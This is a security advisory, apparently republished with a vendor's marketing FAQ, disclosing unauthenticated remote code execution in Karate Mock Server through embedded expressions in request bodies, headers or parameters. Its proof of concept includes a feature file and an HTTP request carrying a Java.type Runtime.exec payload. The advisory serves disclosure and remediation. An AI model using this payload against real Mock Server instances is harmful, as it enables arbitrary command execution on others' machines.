Summary
Karate Mock Server RCE via embedded expression evaluation of request-derived data
Karate Mock Server can execute embedded expressions found in attacker-controlled HTTP request data when a Mock Server feature assigns request-derived values such as request, requestHeaders, or requestParams to variables.
In affected scenarios, an unauthenticated remote attacker can place a Karate embedded expression such as #(Java.type(...)) in the HTTP body, headers, or query parameters. The Mock Server then recursively processes that untrusted data as embedded expressions and evaluates it server-side, which can lead to arbitrary command execution under the privileges of the Karate Mock Server process.
This issue does not require the attacker to control the feature file. The vulnerable precondition is that the Mock Server feature uses request-derived data in a way that passes through Karate expression evaluation, for example:
* def body = request
* def hdrs = requestHeaders
* def params = requestParams
Details
The issue is caused by a missing trust boundary between HTTP request-derived data and Karate feature-authored embedded expressions.
In MockHandler, the current HTTP request is stored and request-derived values are exposed to the Karate runtime. For example, the request body is made available through the request binding:
// MockHandler.java
this.currentRequest = request;
request.processBody();
engine.put("request", (JsLazy) () ->
currentRequest != null ? currentRequest.getBodyConverted() : null);
HttpRequest.getBodyConverted() converts attacker-controlled JSON request bodies into Java objects such as Map<String, Object>:
// HttpRequest.java
public Object getBodyConverted() {
ResourceType rt = getResourceType();
if (rt != null && rt.isBinary()) { return body; }
return HttpUtils.fromBytes(body, false, rt);
}
When a Mock Server feature contains a step such as:
* def body = request
the expression request is evaluated by StepExecutor.executeDef() through evalKarateExpression():
// StepExecutor.java
Object value = evalKarateExpression(expr);
runtime.setVariable(name, value);
Inside evalKarateExpression(), the evaluated value is processed as embedded-expression content if it is a Map or List:
// StepExecutor.java
Object value = runtime.eval(wrapJsonLikeExpression(expr));
if (value instanceof Map || value instanceof List) {
value = processEmbeddedExpressions(value, true);
}
This is the vulnerable trust-boundary violation. The Map originates from the attacker-controlled HTTP request body, but Karate recursively treats its string values as possible embedded expressions.
processEmbeddedExpressions() recursively walks nested maps/lists and sends string values to processEmbeddedString():
// StepExecutor.java
} else if (value instanceof String str) {
return processEmbeddedString(str, lenient);
}
processEmbeddedString() treats strings of the form #(...) as embedded expressions and evaluates them:
// StepExecutor.java
if (str.startsWith("#(") && str.endsWith(")")) {
String expr = str.substring(2, str.length() - 1);
try {
return runtime.eval(expr);
Because the Karate runtime supports Java interop through Java.type(...), attacker-controlled request data can reach Java class loading and command execution.
The same issue applies to other request-derived bindings, such as requestHeaders and requestParams, when a Mock Server feature assigns them or otherwise passes them through Karate expression evaluation.
The important point is that the attacker does not need to control the feature file. The feature author only needs to assign request-derived data such as request, requestHeaders, or requestParams; the framework then automatically performs embedded-expression evaluation on attacker-controlled data.
PoC
A minimal vulnerable Mock Server feature is:
Feature: demo
Background:
* def responseHeaders = { 'Content-Type': 'application/json' }
Scenario: pathMatches('/api/echo')
* def body = request
* def response = { ok: true }
Start the Mock Server with the vulnerable feature:
java -cp "<karate-core-and-runtime-classpath>" io.karatelabs.Main mock -p 18080 -m vuln.feature
http body is here:
POST /api/echo HTTP/1.1
Host: localhost:18080
Content-Type: application/json
Content-Length: 87
{"poc": "#(Java.type('java.lang.Runtime').getRuntime().exec('sh -c id>/tmp/success'))"}
Additional verified vectors:
- Body vector: triggered when the feature assigns
request. - Header vector: triggered when the feature assigns
requestHeaders. - Query parameter vector: triggered when the feature assigns
requestParams.
These vectors demonstrate that the issue is not limited to a single HTTP input location. It affects request-derived data that is later passed through embedded expression processing.
Tested versions
Confirmed on:
io.karatelabs:karate-corev2.0.10- main branch commit
dff68200d, project version2.0.11.RC1
The same vulnerable code path appears to exist in v2.0.1 through v2.0.9.
I am not claiming v1.x as affected without independent verification.
Suggested remediation
Karate should not automatically process embedded expressions inside data that originated from HTTP requests.
Possible fixes include:
- Preserve a trust boundary for request-derived values such as
request,requestHeaders, andrequestParams, and skipprocessEmbeddedExpressionsfor those values. - Add a Mock Server safe mode that disables or restricts
Java.type()/ Java interop while processing request data. - Require an explicit opt-in step for evaluating embedded expressions inside request-derived data.
- Add regression tests for body, header, and query parameter injection where
#(Java.type(...))must remain inert data instead of being evaluated.
Impact
An unauthenticated remote attacker can execute arbitrary operating-system commands on a server running an affected Karate Mock Server scenario.
The impact depends on whether the Mock Server is reachable by untrusted users and whether the feature file assigns request-derived data such as request, requestHeaders, or requestParams. In that configuration, the attacker does not need credentials, user interaction, or control over the feature file.
This can result in full compromise of the Mock Server process, including confidentiality, integrity, and availability impact for files, environment variables, network access, and credentials available to that process.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is GHSA-2C85-RFCC-G74J? GHSA-2C85-RFCC-G74J is a high-severity security vulnerability in io.karatelabs:karate-core (maven), affecting versions >= 2.0.1, <= 2.0.10. It is fixed in 2.1.0.
- Which versions of io.karatelabs:karate-core are affected by GHSA-2C85-RFCC-G74J? io.karatelabs:karate-core (maven) versions >= 2.0.1, <= 2.0.10 is affected.
- Is there a fix for GHSA-2C85-RFCC-G74J? Yes. GHSA-2C85-RFCC-G74J is fixed in 2.1.0. Upgrade to this version or later.
- Is GHSA-2C85-RFCC-G74J exploitable, and should I be worried? Whether GHSA-2C85-RFCC-G74J is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-2C85-RFCC-G74J is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-2C85-RFCC-G74J? Upgrade
io.karatelabs:karate-coreto 2.1.0 or later.